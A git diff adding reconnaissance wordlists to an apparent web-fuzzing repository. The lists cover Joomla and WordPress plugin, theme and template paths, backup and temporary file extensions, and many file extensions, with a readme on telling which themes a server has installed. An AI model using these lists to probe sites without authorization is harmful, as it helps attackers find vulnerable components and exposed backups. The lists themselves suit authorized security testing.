themes/wyo/
|
||||
themes/xsilver/
|
||||
themes/xtemplate/
|
||||
themes/xwebAeon4/
|
||||
themes/yaroon
|
||||
themes/yaroon/
|
||||
themes/yarooned/
|
||||
themes/yast/
|
||||
themes/yui-framework/
|
||||
themes/yui/
|
||||
themes/yui_grid/
|
||||
themes/zen/
|
||||
themes/zen_basic/
|
||||
themes/zen_deleon2/
|
||||
themes/zen_midnight/
|
||||
themes/zen_ninesixty/
|
||||
themes/zen_twilight/
|
||||
themes/zenland/
|
||||
themes/zental/
|
||||
themes/zenzen/
|
||||
themes/zeropoint/
|
||||
themes/zilo_blog/
|
||||
themes/zubrick/
|
||||
224
discovery/predictable-filepaths/cms/joomla_plugins.txt
Normal file
224
discovery/predictable-filepaths/cms/joomla_plugins.txt
Normal file
|
|
@ -0,0 +1,224 @@
|
|||
components/com_acajoom/
|
||||
components/com_aclassf/
|
||||
components/com_acmisc/
|
||||
components/com_adsmanager/
|
||||
components/com_agora/
|
||||
components/com_ajaxchat/
|
||||
components/com_akogallery/
|
||||
components/com_album/
|
||||
components/com_allvideosreloaded/
|
||||
components/com_alphauserpoints/
|
||||
components/com_aprice/
|
||||
components/com_artportal/
|
||||
components/com_avreloaded/
|
||||
components/com_banners/
|
||||
components/com_bfsurvey_basic/
|
||||
components/com_booklibrary/
|
||||
components/com_bookmarks/
|
||||
components/com_carman/
|
||||
components/com_cartikads/
|
||||
components/com_casino/
|
||||
components/com_cbresumebuilder/
|
||||
components/com_chatroom/
|
||||
components/com_ckforms/
|
||||
components/com_comment/
|
||||
components/com_comprofiler/
|
||||
components/com_contact/
|
||||
components/com_contactus/
|
||||
components/com_content/
|
||||
components/com_ContentBlogList/
|
||||
components/com_cronjobs/
|
||||
components/com_customquickicons/
|
||||
components/com_dhforum/
|
||||
components/com_digifolio/
|
||||
components/com_digistore/
|
||||
components/com_djcatalog/
|
||||
components/com_dm_orders/
|
||||
components/com_docman/
|
||||
components/com_doqment/
|
||||
components/com_easygallery/
|
||||
components/com_easygb/
|
||||
components/com_easygb2/
|
||||
components/com_eventlist/
|
||||
components/com_events/
|
||||
components/com_extplorer/
|
||||
components/com_ezine/
|
||||
components/com_ezrealty/
|
||||
components/com_facebook/
|
||||
components/com_facileforms/
|
||||
components/com_fastball/
|
||||
components/com_favourites/
|
||||
components/com_fireboard/
|
||||
components/com_flickr4j/
|
||||
components/com_foobla_suggestions/
|
||||
components/com_form/
|
||||
components/com_forum/
|
||||
components/com_frontpage/
|
||||
components/com_games/
|
||||
components/com_gameserver/
|
||||
components/com_gcalendar/
|
||||
components/com_groups/
|
||||
components/com_hbssearch/
|
||||
components/com_hiscat/
|
||||
components/com_icrmbasic/
|
||||
components/com_idoblog/
|
||||
components/com_intuit/
|
||||
components/com_intuitLocal/
|
||||
components/com_invite/
|
||||
components/com_jabode/
|
||||
components/com_jbook/
|
||||
components/com_jbudgetsmagic/
|
||||
components/com_jcalpro/
|
||||
components/com_jce/
|
||||
components/com_jcomments/
|
||||
components/com_jeemaarticlecollection/
|
||||
components/com_jinc/
|
||||
components/com_jmovies/
|
||||
components/com_job/
|
||||
components/com_jomcomment/
|
||||
components/com_joomap/
|
||||
components/com_joomfish/
|
||||
components/com_joomlapack/
|
||||
components/com_joomlastats/
|
||||
components/com_joomlaxplorer/
|
||||
components/com_joomportfolio/
|
||||
components/com_joomunity/
|
||||
components/com_j-projects/
|
||||
components/com_jreservation/
|
||||
components/com_jshop/
|
||||
components/com_jsjobs/
|
||||
components/com_jtips/
|
||||
components/com_juser/
|
||||
components/com_kide/
|
||||
components/com_letterman/
|
||||
components/com_livechat/
|
||||
components/com_login/
|
||||
components/com_mailto/
|
||||
components/com_media/
|
||||
components/com_messages/
|
||||
components/com_messenger/
|
||||
components/com_Mochigames/
|
||||
components/com_morfeoshow/
|
||||
components/com_moschat/
|
||||
components/com_mosres/
|
||||
components/com_mytube/
|
||||
components/com_network/
|
||||
components/com_newsfeeds/
|
||||
components/com_ninjacentral/
|
||||
components/com_omphotogallery/
|
||||
components/com_oprykningspoint_mc/
|
||||
components/com_otzivi/
|
||||
components/com_page/
|
||||
components/com_parainvite/
|
||||
components/com_paxxgallery/
|
||||
components/com_perchagallery/
|
||||
components/com_personel/
|
||||
components/com_photo/
|
||||
components/com_photoblog/
|
||||
components/com_places/
|
||||
components/com_poll/
|
||||
components/com_ponygallery/
|
||||
components/com_privmsgs/
|
||||
components/com_proofreader/
|
||||
components/com_qcache/
|
||||
components/com_rate/
|
||||
components/com_rating/
|
||||
components/com_registration/
|
||||
components/com_rsform/
|
||||
components/com_rsgallery2/
|
||||
components/com_rss/
|
||||
components/com_schools/
|
||||
components/com_search/
|
||||
components/com_sef/
|
||||
components/com_sef/
|
||||
components/com_seminar/
|
||||
components/com_seyret/
|
||||
components/com_shoutbox/
|
||||
components/com_siirler/
|
||||
components/com_simple_review/
|
||||
components/com_simpleshop/
|
||||
components/com_sobi2/
|
||||
components/com_soundset/
|
||||
components/com_sportfusion/
|
||||
components/com_store/
|
||||
components/com_subscribe/
|
||||
components/com_surveymanager/
|
||||
components/com_swmenufree/
|
||||
components/com_thumbnailpro/
|
||||
components/com_tpjobs/
|
||||
components/com_trabalhe_conosco/
|
||||
components/com_tupinambis/
|
||||
components/com_user/
|
||||
components/com_users/
|
||||
components/com_virtualkiss/
|
||||
components/com_virtuemart/
|
||||
components/com_vxdate/
|
||||
components/com_webcamxp/
|
||||
components/com_weblinks/
|
||||
components/com_weblogs/
|
||||
components/com_wrapper/
|
||||
components/com_wrapper/
|
||||
components/com_wrapper/
|
||||
components/com_xmap/
|
||||
components/com_zcalendar/
|
||||
components/js_relevant/
|
||||
modules/mod_adscroller/
|
||||
modules/mod_archive/
|
||||
modules/mod_articles_archive/
|
||||
modules/mod_articles_category/
|
||||
modules/mod_articles_latest/
|
||||
modules/mod_articles_news/
|
||||
modules/mod_articles_popular/
|
||||
modules/mod_banners/
|
||||
modules/mod_breadcrumbs/
|
||||
modules/mod_briaskISS/
|
||||
modules/mod_ccnewsletter/
|
||||
modules/mod_custom/
|
||||
modules/mod_dn/
|
||||
modules/mod_feed/
|
||||
modules/mod_filterednews/
|
||||
modules/mod_flashmod/
|
||||
modules/mod_footer/
|
||||
modules/mod_forme/
|
||||
modules/mod_gk_news_image/
|
||||
modules/mod_internetradio/
|
||||
modules/mod_internetradio2/
|
||||
modules/mod_jabulletin/
|
||||
modules/mod_janewsflash/
|
||||
modules/mod_ja_slwi/
|
||||
modules/mod_jms_support/
|
||||
modules/mod_latestnews/
|
||||
modules/mod_login/
|
||||
modules/mod_mainmenu/
|
||||
modules/mod_menu/
|
||||
modules/mod_minifrontpage/
|
||||
modules/mod_mostread/
|
||||
modules/mod_newsflash/
|
||||
modules/mod_onlineusers/
|
||||
modules/mod_onlineusers_pro/
|
||||
modules/mod_poll/
|
||||
modules/mod_product_categories/
|
||||
modules/mod_productscroller/
|
||||
modules/mod_random_image/
|
||||
modules/mod_related_items/
|
||||
modules/mod_rokslideshow/
|
||||
modules/mod_rsform/
|
||||
modules/mod_search/
|
||||
modules/mod_sections/
|
||||
modules/mod_skychat/
|
||||
modules/mod_sobi2simplefeatured/
|
||||
modules/mod_sobidropdown/
|
||||
modules/mod_stats/
|
||||
modules/mod_swmenufree/
|
||||
modules/mod_syndicate/
|
||||
modules/mod_tcimageslider/
|
||||
modules/mod_users_latest/
|
||||
modules/mod_virtuemart/
|
||||
modules/mod_virtuemart_search/
|
||||
modules/mod_virtuemart_topten/
|
||||
modules/mod_vvisit_counter/
|
||||
modules/mod_weblinks/
|
||||
modules/mod_whosonline/
|
||||
modules/mod_woodychat/
|
||||
modules/mod_wrapper/
|
||||
modules/shoutbox/
|
||||
30
discovery/predictable-filepaths/cms/joomla_themes.txt
Normal file
30
discovery/predictable-filepaths/cms/joomla_themes.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
templates/abc/
|
||||
templates/atomic/
|
||||
templates/b59-tpl8/
|
||||
templates/beez/
|
||||
templates/carbon_07/
|
||||
templates/crub/
|
||||
templates/dm_arrow_red/
|
||||
templates/gk_eshoptrix_2/
|
||||
templates/gk_gomuproject/
|
||||
templates/gk_icki_sports/
|
||||
templates/gk_musictop/
|
||||
templates/ja_purity/
|
||||
templates/ja_rochea/
|
||||
templates/ja_teline_ii/
|
||||
templates/joomlaport_metro/
|
||||
templates/js_relevant/
|
||||
templates/mynxx_j15/
|
||||
templates/planets/
|
||||
templates/planetsv2/
|
||||
templates/rhuk_milkyway/
|
||||
templates/rt_hivemind_j15/
|
||||
templates/rt_mediamogul_essentials_j15/
|
||||
templates/rt_nexus_j15/
|
||||
templates/siteground99/
|
||||
templates/siteground-j15-14/
|
||||
templates/siteground-j15-68/
|
||||
templates/siteground-j15-86/
|
||||
templates/system/
|
||||
templates/yoo_phoenix/
|
||||
templates/yoo_waybeyond/
|
||||
2142
discovery/predictable-filepaths/cms/php-nuke.txt
Normal file
2142
discovery/predictable-filepaths/cms/php-nuke.txt
Normal file
File diff suppressed because it is too large
Load diff
1566
discovery/predictable-filepaths/cms/wordpress.txt
Normal file
1566
discovery/predictable-filepaths/cms/wordpress.txt
Normal file
File diff suppressed because it is too large
Load diff
|
|
@ -0,0 +1,46 @@
|
|||
404.php
|
||||
archive.php
|
||||
archives.php
|
||||
author.php
|
||||
category.php
|
||||
comments.php
|
||||
content.php
|
||||
data.php
|
||||
footer.php
|
||||
functions.php
|
||||
header.php
|
||||
home.php
|
||||
image.php
|
||||
images
|
||||
images/content-bg.jpg
|
||||
images/footer.jpg
|
||||
images/footer.png
|
||||
images/functions.php
|
||||
images/gravatar.png
|
||||
images/header-bg.jpg
|
||||
images/header.png
|
||||
images/index.php
|
||||
images/main_bg.png
|
||||
images/rss.png
|
||||
images/Thumbs.db
|
||||
index.php
|
||||
js
|
||||
js/html5.js
|
||||
languages
|
||||
license.txt
|
||||
License.txt
|
||||
links.php
|
||||
page.php
|
||||
print.css
|
||||
readme.txt
|
||||
reset.css
|
||||
rtl.css
|
||||
RTL.css
|
||||
searchform.php
|
||||
search.php
|
||||
sidebar.php
|
||||
single.php
|
||||
style.css
|
||||
tag.php
|
||||
tags.php
|
||||
|
||||
13366
discovery/predictable-filepaths/cms/wp_plugins.txt
Normal file
13366
discovery/predictable-filepaths/cms/wp_plugins.txt
Normal file
File diff suppressed because it is too large
Load diff
225
discovery/predictable-filepaths/cms/wp_plugins_top225.txt
Normal file
225
discovery/predictable-filepaths/cms/wp_plugins_top225.txt
Normal file
|
|
@ -0,0 +1,225 @@
|
|||
google-sitemap-generator
|
||||
redirection
|
||||
wptouch
|
||||
ultimate-tinymce
|
||||
facebook
|
||||
wp-smushit
|
||||
share-this
|
||||
wp-super-cache
|
||||
iwp-client
|
||||
advanced-custom-fields
|
||||
broken-link-checker
|
||||
slideshow-jquery-image-gallery
|
||||
user-role-editor
|
||||
google-analytics-for-wordpress
|
||||
google-analyticator
|
||||
updraftplus
|
||||
wordpress-backup-to-dropbox
|
||||
bbpress
|
||||
wysija-newsletters
|
||||
add-to-any
|
||||
youtube-embed-plus
|
||||
backwpup
|
||||
backupwordpress
|
||||
wp-pagenavi
|
||||
tinymce-advanced
|
||||
gallery-plugin
|
||||
addthis
|
||||
easy-fancybox
|
||||
stats
|
||||
disable-comments
|
||||
antispam-bee
|
||||
wp-multibyte-patch
|
||||
wp-slimstat
|
||||
add-link-to-facebook
|
||||
wp-photo-album-plus
|
||||
buddypress
|
||||
social-networks-auto-poster-facebook-twitter-g
|
||||
events-manager
|
||||
responsive-add-ons
|
||||
easy-contact-forms
|
||||
post-types-order
|
||||
image-widget
|
||||
wp-maintenance-mode
|
||||
regenerate-thumbnails
|
||||
squirrly-seo
|
||||
qtranslate
|
||||
google-analytics-dashboard-for-wp
|
||||
ml-slider
|
||||
hupso-share-buttons-for-twitter-facebook-google
|
||||
powerpress
|
||||
mappress-google-maps-for-wordpress
|
||||
types
|
||||
options-framework
|
||||
ultimate-coming-soon-page
|
||||
page-links-to
|
||||
official-statcounter-plugin-for-wordpress
|
||||
wp-e-commerce
|
||||
wordpress-popular-posts
|
||||
shareaholic
|
||||
floating-social-media-icon
|
||||
sucuri-scanner
|
||||
breadcrumb-navxt
|
||||
really-simple-facebook-twitter-share-buttons
|
||||
si-captcha-for-wordpress
|
||||
google-sitemap-plugin
|
||||
wp-rss-multi-importer
|
||||
easy-table
|
||||
xhanch-my-twitter
|
||||
growmap-anti-spambot-plugin
|
||||
sexybookmarks
|
||||
all-in-one-event-calendar
|
||||
download-manager
|
||||
the-events-calendar
|
||||
jquery-updater
|
||||
newsletter
|
||||
wp-postviews
|
||||
lightbox-plus
|
||||
wp-postratings
|
||||
testimonials-widget
|
||||
limit-login-attempts
|
||||
adrotate
|
||||
embedplus-for-wordpress
|
||||
all-in-one-wp-security-and-firewall
|
||||
disqus-comment-system
|
||||
social-media-feather
|
||||
mailchimp-for-wp
|
||||
xml-sitemap-feed
|
||||
mp6
|
||||
wp-lightbox-2
|
||||
ultimate-maintenance-mode
|
||||
wp-postviews
|
||||
lightbox-plus
|
||||
wp-postratings
|
||||
testimonials-widget
|
||||
limit-login-attempts
|
||||
adrotate
|
||||
embedplus-for-wordpress
|
||||
all-in-one-wp-security-and-firewall
|
||||
disqus-comment-system
|
||||
social-media-feather
|
||||
mailchimp-for-wp
|
||||
xml-sitemap-feed
|
||||
mp6
|
||||
wp-lightbox-2
|
||||
ultimate-maintenance-mode
|
||||
social-media-widget
|
||||
mailchimp
|
||||
commentluv
|
||||
ozh-admin-drop-down-menu
|
||||
seo-ultimate
|
||||
custom-field-template
|
||||
black-studio-tinymce-widget
|
||||
relevanssi
|
||||
seo-facebook-comments
|
||||
maintenance
|
||||
tablepress
|
||||
genesis-simple-sidebars
|
||||
clean-and-simple-contact-form-by-meg-nicholas
|
||||
all-in-one-favicon
|
||||
woosidebars
|
||||
printfriendly
|
||||
visual-form-builder
|
||||
wordpress-ping-optimizer
|
||||
wp-google-fonts
|
||||
wp-security-scan
|
||||
wp-google-maps
|
||||
simple-tags
|
||||
wponlinebackup
|
||||
theme-my-login
|
||||
formidable
|
||||
wpremote
|
||||
wowslider
|
||||
contact-form-7-to-database-extension
|
||||
gotmls
|
||||
jw-player-plugin-for-wordpress
|
||||
jetpack
|
||||
akismet
|
||||
all-in-one-seo-pack
|
||||
contact-form-7
|
||||
wordpress-seo
|
||||
nextgen-gallery
|
||||
wordpress-importer
|
||||
better-wp-security
|
||||
woocommerce
|
||||
w3-total-cache
|
||||
wordfence
|
||||
captcha
|
||||
si-contact-form
|
||||
really-simple-captcha
|
||||
contact-form-plugin
|
||||
ps-auto-sitemap
|
||||
sociable
|
||||
hotfix
|
||||
genesis-enews-extended
|
||||
adsense-plugin
|
||||
easy-theme-and-plugin-upgrades
|
||||
ultimate-tag-cloud-widget
|
||||
sidebar-login
|
||||
secure-wordpress
|
||||
seo-image
|
||||
search-and-replace
|
||||
widget-logic
|
||||
contextual-related-posts
|
||||
media-element-html5-video-and-audio-player
|
||||
wp-optimize
|
||||
wiziapp-create-your-own-native-iphone-app
|
||||
simply-instagram
|
||||
lightbox-gallery
|
||||
nrelate-related-content
|
||||
booking
|
||||
html-javascript-adder
|
||||
responsive-lightbox
|
||||
simple-backup
|
||||
link-library
|
||||
contact-form-maker
|
||||
wp-customer-reviews
|
||||
genesis-simple-hooks
|
||||
wp-db-backup
|
||||
easing-slider
|
||||
google-maps-widget
|
||||
wiziapp-create-your-own-native-iphone-app
|
||||
simply-instagram
|
||||
lightbox-gallery
|
||||
nrelate-related-content
|
||||
booking
|
||||
html-javascript-adder
|
||||
responsive-lightbox
|
||||
simple-backup
|
||||
link-library
|
||||
contact-form-maker
|
||||
wp-customer-reviews
|
||||
genesis-simple-hooks
|
||||
wp-db-backup
|
||||
easing-slider
|
||||
google-maps-widget
|
||||
easy-adsense-lite
|
||||
wp-dbmanager
|
||||
codepeople-post-map
|
||||
landing-pages
|
||||
google-xml-sitemaps-v3-for-qtranslate
|
||||
woocommerce-all-in-one-seo-pack
|
||||
option-tree
|
||||
wp-polls
|
||||
google-analytics-dashboard
|
||||
simple-lightbox
|
||||
wp-user-avatar
|
||||
coming-soon-maintenance-mode-ready
|
||||
quick-pagepost-redirect-plugin
|
||||
chartbeat
|
||||
nextgen-facebook
|
||||
wp-mail-smtp
|
||||
quick-cache
|
||||
link-manager
|
||||
video-thumbnails
|
||||
soliloquy-lite
|
||||
my-calendar
|
||||
ckeditor-for-wordpress
|
||||
kebo-twitter-feed
|
||||
auto-post-thumbnail
|
||||
gtranslate
|
||||
yop-poll
|
||||
wp-filebase
|
||||
all-in-one-webmaster
|
||||
email-users
|
||||
leaflet-maps-marker
|
||||
12
discovery/predictable-filepaths/cms/wp_themes.readme
Normal file
12
discovery/predictable-filepaths/cms/wp_themes.readme
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
Themes usually live in a directory called wp-content.
|
||||
|
||||
Determine how the server handles directories which aren't present vs files which aren't present in a path that exists in order to tell which themes are installed.
|
||||
|
||||
use wp_common_theme_files.fuzz.php inside the identified theme dirs
|
||||
|
||||
Often you can tell the current theme by viewing source.
|
||||
|
||||
Theme list generated last on Sept 6 2013
|
||||
|
||||
from: http://themes.svn.wordpress.org
|
||||
|
||||
7336
discovery/predictable-filepaths/cms/wp_themes.txt
Normal file
7336
discovery/predictable-filepaths/cms/wp_themes.txt
Normal file
File diff suppressed because it is too large
Load diff
File diff suppressed because it is too large
Load diff
|
|
@ -0,0 +1,80 @@
|
|||
.asp
|
||||
.aspx
|
||||
.bat
|
||||
.c
|
||||
.cfm
|
||||
.cgi
|
||||
.com
|
||||
.dll
|
||||
.exe
|
||||
.htm
|
||||
.html
|
||||
.inc
|
||||
.jhtml
|
||||
.jsa
|
||||
.jsp
|
||||
.log
|
||||
.mdb
|
||||
.nsf
|
||||
.php
|
||||
.php2
|
||||
.php3
|
||||
.php4
|
||||
.php5
|
||||
.php6
|
||||
.php7
|
||||
.phtml
|
||||
.phps
|
||||
.pl
|
||||
.reg
|
||||
.sh
|
||||
.shtml
|
||||
.sql
|
||||
.txt
|
||||
.xml
|
||||
.swf
|
||||
.pcap
|
||||
.001
|
||||
.002
|
||||
.1
|
||||
.2
|
||||
.7z
|
||||
.Z
|
||||
.back
|
||||
.backup
|
||||
.bak
|
||||
.bakup
|
||||
.bas
|
||||
.bz2
|
||||
.c
|
||||
.conf
|
||||
.copia
|
||||
.core
|
||||
.cpp
|
||||
.dat
|
||||
.db
|
||||
.default
|
||||
.dll
|
||||
.doc
|
||||
.ini
|
||||
.jar
|
||||
.java
|
||||
.old
|
||||
.orig
|
||||
.pas
|
||||
.rar
|
||||
.sav
|
||||
.saved
|
||||
.source
|
||||
.src
|
||||
.stackdump
|
||||
.tar
|
||||
.tar.gz
|
||||
.temp
|
||||
.test
|
||||
.tgz
|
||||
.tmp
|
||||
.txt
|
||||
.war
|
||||
.zip
|
||||
~
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
backup
|
||||
bck
|
||||
old
|
||||
save
|
||||
bak
|
||||
sav
|
||||
~
|
||||
copy
|
||||
old
|
||||
orig
|
||||
tmp
|
||||
txt
|
||||
back
|
||||
|
|
@ -0,0 +1,863 @@
|
|||
$er
|
||||
123
|
||||
1pe
|
||||
1ph
|
||||
3dr
|
||||
3dt
|
||||
3me
|
||||
3pe
|
||||
4dl
|
||||
4dv
|
||||
8xk
|
||||
^^^
|
||||
a3l
|
||||
a3m
|
||||
a3w
|
||||
a4l
|
||||
a4m
|
||||
a4w
|
||||
a5l
|
||||
a5w
|
||||
a65
|
||||
aao
|
||||
ab
|
||||
ab1
|
||||
ab2
|
||||
ab3
|
||||
abcd
|
||||
abi
|
||||
abp
|
||||
aby
|
||||
aca
|
||||
acc
|
||||
accdb
|
||||
acf
|
||||
acg
|
||||
ade
|
||||
adp
|
||||
adt
|
||||
adx
|
||||
aft
|
||||
agd
|
||||
aifb
|
||||
alc
|
||||
ald
|
||||
ali
|
||||
amb
|
||||
amsorm
|
||||
an1
|
||||
anme
|
||||
apr
|
||||
arc
|
||||
arh
|
||||
ask
|
||||
asm
|
||||
ast
|
||||
at5
|
||||
att
|
||||
aw
|
||||
awg
|
||||
azw
|
||||
bafl
|
||||
bci
|
||||
bcm
|
||||
bdf
|
||||
bdic
|
||||
bfx
|
||||
bgl
|
||||
bgt
|
||||
bin
|
||||
bjo
|
||||
bk
|
||||
bkk
|
||||
blb
|
||||
bld
|
||||
blg
|
||||
bok
|
||||
box
|
||||
brd
|
||||
brw
|
||||
btf
|
||||
btif
|
||||
btm
|
||||
btr
|
||||
cap
|
||||
cat
|
||||
cbg
|
||||
cch
|
||||
ccr
|
||||
cct
|
||||
cdb
|
||||
cdd
|
||||
cdf
|
||||
cdp
|
||||
cdr
|
||||
cdx
|
||||
cel
|
||||
celtx
|
||||
chg
|
||||
chk
|
||||
chn
|
||||
ckd
|
||||
ckt
|
||||
cl2
|
||||
cl4
|
||||
clb
|
||||
clix
|
||||
clm
|
||||
clp
|
||||
cmbl
|
||||
cna
|
||||
contact
|
||||
cpi
|
||||
cpmz
|
||||
crd
|
||||
crtx
|
||||
csa
|
||||
csv
|
||||
ctf
|
||||
ctt
|
||||
cursorfx
|
||||
curxptheme
|
||||
cvd
|
||||
cvn
|
||||
cwk
|
||||
cws
|
||||
cwz
|
||||
cxt
|
||||
cyo
|
||||
cys
|
||||
daf
|
||||
dal
|
||||
dam
|
||||
das
|
||||
dat
|
||||
data
|
||||
db
|
||||
db2
|
||||
db3
|
||||
dbc
|
||||
dbd
|
||||
dbf
|
||||
dbx
|
||||
dcf
|
||||
dcl
|
||||
dcm
|
||||
dcmd
|
||||
ddc
|
||||
ddcx
|
||||
ddt
|
||||
dem
|
||||
des
|
||||
dex
|
||||
dfm
|
||||
dfproj
|
||||
dft
|
||||
dgb
|
||||
dif
|
||||
dii
|
||||
dlg
|
||||
dm2
|
||||
dmo
|
||||
dmsk
|
||||
dnc
|
||||
dockzip
|
||||
dp1
|
||||
dpn
|
||||
dpx
|
||||
drl
|
||||
dsb
|
||||
dsd
|
||||
dsk
|
||||
dsy
|
||||
dsz
|
||||
dt0
|
||||
dt1
|
||||
dt2
|
||||
dta
|
||||
dtr
|
||||
dvdproj
|
||||
dvo
|
||||
dwi
|
||||
e00
|
||||
eap
|
||||
ebuild
|
||||
ec0
|
||||
eco
|
||||
ecx
|
||||
edb
|
||||
edf
|
||||
eep
|
||||
efx
|
||||
egp
|
||||
emb
|
||||
emd
|
||||
emlxpart
|
||||
enc
|
||||
enw
|
||||
epp
|
||||
epub
|
||||
epw
|
||||
er1
|
||||
esp
|
||||
ess
|
||||
est
|
||||
esx
|
||||
et
|
||||
eta
|
||||
etd
|
||||
etl
|
||||
ev
|
||||
ev3
|
||||
evt
|
||||
evy
|
||||
exif
|
||||
exp
|
||||
exx
|
||||
fa
|
||||
fasta
|
||||
fbl
|
||||
fcd
|
||||
fcs
|
||||
fdb
|
||||
ffd
|
||||
ffwp
|
||||
fhc
|
||||
fid
|
||||
fil
|
||||
flame
|
||||
fll
|
||||
flo
|
||||
flp
|
||||
flt
|
||||
fm
|
||||
fm5
|
||||
fmp
|
||||
fo
|
||||
fob
|
||||
fol
|
||||
fop
|
||||
fox
|
||||
fp
|
||||
fp3
|
||||
fp4
|
||||
fp5
|
||||
fp7
|
||||
frl
|
||||
frm
|
||||
fro
|
||||
frx
|
||||
fsb
|
||||
fsc
|
||||
ftm
|
||||
ftw
|
||||
gan
|
||||
gbr
|
||||
gc
|
||||
gcx
|
||||
gdb
|
||||
ged
|
||||
gedcom
|
||||
gen
|
||||
ggb
|
||||
gml
|
||||
gms
|
||||
gno
|
||||
gnp
|
||||
gp3
|
||||
gpi
|
||||
gps
|
||||
gpx
|
||||
gra
|
||||
grade
|
||||
grf
|
||||
grib
|
||||
grk
|
||||
grr
|
||||
grv
|
||||
gs
|
||||
gst
|
||||
gtp
|
||||
gwk
|
||||
gxl
|
||||
hcc
|
||||
hce
|
||||
hci
|
||||
hcp
|
||||
hcr
|
||||
hcu
|
||||
hda
|
||||
hdb
|
||||
hdf
|
||||
hdi
|
||||
hdl
|
||||
hif
|
||||
hl
|
||||
hml
|
||||
hmt
|
||||
hs2
|
||||
hsk
|
||||
hst
|
||||
htg
|
||||
huh
|
||||
hyv
|
||||
i5z
|
||||
ib
|
||||
ics
|
||||
id2
|
||||
idx
|
||||
igc
|
||||
ihx
|
||||
ii
|
||||
iif
|
||||
img
|
||||
imt
|
||||
ink
|
||||
inp
|
||||
ins
|
||||
ip
|
||||
irock
|
||||
irr
|
||||
irx
|
||||
isf
|
||||
itdb
|
||||
itl
|
||||
itm
|
||||
itn
|
||||
itw
|
||||
itx
|
||||
ivt
|
||||
iw
|
||||
ixb
|
||||
jasper
|
||||
jdb
|
||||
jef
|
||||
jmp
|
||||
jnt
|
||||
job
|
||||
joboptions
|
||||
joined
|
||||
jph
|
||||
jrprint
|
||||
jrxml
|
||||
jude
|
||||
kap
|
||||
kdb
|
||||
kid
|
||||
kismac
|
||||
kmz
|
||||
kpf
|
||||
kpp
|
||||
kpr
|
||||
kpx
|
||||
kpz
|
||||
l
|
||||
l6t
|
||||
laccdb
|
||||
lbl
|
||||
lbx
|
||||
lcd
|
||||
lcf
|
||||
lcm
|
||||
ldif
|
||||
lex
|
||||
lgc
|
||||
lgf
|
||||
lgh
|
||||
lgi
|
||||
lgl
|
||||
lib
|
||||
lif
|
||||
livereg
|
||||
liveupdate
|
||||
lix
|
||||
llb
|
||||
lms
|
||||
lmx
|
||||
lnt
|
||||
loc
|
||||
lp7
|
||||
lrf
|
||||
lrs
|
||||
lrx
|
||||
lsf
|
||||
lsl
|
||||
lsp
|
||||
lsr
|
||||
lst
|
||||
lsu
|
||||
lvm
|
||||
lw4
|
||||
ly
|
||||
m
|
||||
mag
|
||||
mai
|
||||
map
|
||||
masseffectprofile
|
||||
mat
|
||||
mbb
|
||||
mbf
|
||||
mbg
|
||||
mbl
|
||||
mbp
|
||||
mbx
|
||||
mc1
|
||||
mc9
|
||||
mcd
|
||||
md
|
||||
mdb
|
||||
mdc
|
||||
mdf
|
||||
mdl
|
||||
mdm
|
||||
mdn
|
||||
mdt
|
||||
mdx
|
||||
mdz
|
||||
mem
|
||||
menc
|
||||
met
|
||||
mex
|
||||
mfo
|
||||
mfp
|
||||
mgc
|
||||
mls
|
||||
mm
|
||||
mmap
|
||||
mmc
|
||||
mmf
|
||||
mmp
|
||||
mnc
|
||||
mng
|
||||
mnk
|
||||
mno
|
||||
mny
|
||||
mobi
|
||||
moho
|
||||
mosaic
|
||||
mox
|
||||
mpd
|
||||
mpj
|
||||
mpp
|
||||
mpt
|
||||
mpx
|
||||
mpz
|
||||
mq4
|
||||
ms10
|
||||
mth
|
||||
mtw
|
||||
mud
|
||||
muf
|
||||
mw
|
||||
mwf
|
||||
mws
|
||||
mwx
|
||||
mxd
|
||||
myd
|
||||
myi
|
||||
nb
|
||||
nc
|
||||
ndf
|
||||
ndk
|
||||
ndx
|
||||
net
|
||||
neta
|
||||
nfo
|
||||
nitf
|
||||
nmind
|
||||
not
|
||||
notebook
|
||||
np
|
||||
npl
|
||||
npt
|
||||
nrl
|
||||
ns2
|
||||
ns3
|
||||
ns4
|
||||
nsf
|
||||
ntx
|
||||
numbers
|
||||
nvl
|
||||
nyf
|
||||
oab
|
||||
obj
|
||||
odb
|
||||
odf
|
||||
odp
|
||||
ods
|
||||
odx
|
||||
oeaccount
|
||||
ofc
|
||||
ofm
|
||||
oft
|
||||
ofx
|
||||
omcs
|
||||
omp
|
||||
ond
|
||||
one
|
||||
oo3
|
||||
opf
|
||||
opx
|
||||
or2
|
||||
or3
|
||||
or4
|
||||
or5
|
||||
or6
|
||||
org
|
||||
orx
|
||||
otf
|
||||
otl
|
||||
otln
|
||||
ots
|
||||
out
|
||||
ov2
|
||||
ova
|
||||
ovf
|
||||
p96
|
||||
p97
|
||||
pab
|
||||
paf
|
||||
pan
|
||||
pbd
|
||||
pc
|
||||
pcap
|
||||
pcb
|
||||
pcr
|
||||
pd4
|
||||
pd5
|
||||
pdas
|
||||
pdb
|
||||
pdd
|
||||
pdm
|
||||
pds
|
||||
pdx
|
||||
peb
|
||||
pec
|
||||
pep
|
||||
pex
|
||||
pfc
|
||||
pfl
|
||||
phb
|
||||
phm
|
||||
pi
|
||||
pis
|
||||
pjx
|
||||
pka
|
||||
pkb
|
||||
pkh
|
||||
pks
|
||||
pkt
|
||||
pln
|
||||
plw
|
||||
pmo
|
||||
pmr
|
||||
pnproj
|
||||
pnpt
|
||||
pns
|
||||
pnt
|
||||
pod
|
||||
poi
|
||||
pos
|
||||
postal
|
||||
pot
|
||||
potm
|
||||
potx
|
||||
pp2
|
||||
ppf
|
||||
pps
|
||||
ppsx
|
||||
ppt
|
||||
pptm
|
||||
pptx
|
||||
prc
|
||||
pre
|
||||
prf
|
||||
prj
|
||||
prm
|
||||
prs
|
||||
psa
|
||||
psf
|
||||
psm
|
||||
pst
|
||||
ptb
|
||||
ptf
|
||||
ptk
|
||||
ptm
|
||||
ptn
|
||||
ptt
|
||||
ptz
|
||||
pvl
|
||||
pwd
|
||||
pxj
|
||||
pxl
|
||||
q07
|
||||
q08
|
||||
q09
|
||||
q3d
|
||||
qbw
|
||||
qdat
|
||||
qdf
|
||||
qdfm
|
||||
qel
|
||||
qfx
|
||||
qif
|
||||
qpb
|
||||
qpf
|
||||
qph
|
||||
qpm
|
||||
qpw
|
||||
qrp
|
||||
qsd
|
||||
ral
|
||||
rbt
|
||||
rcd
|
||||
rcg
|
||||
rdb
|
||||
rdf
|
||||
rdx
|
||||
ref
|
||||
ret
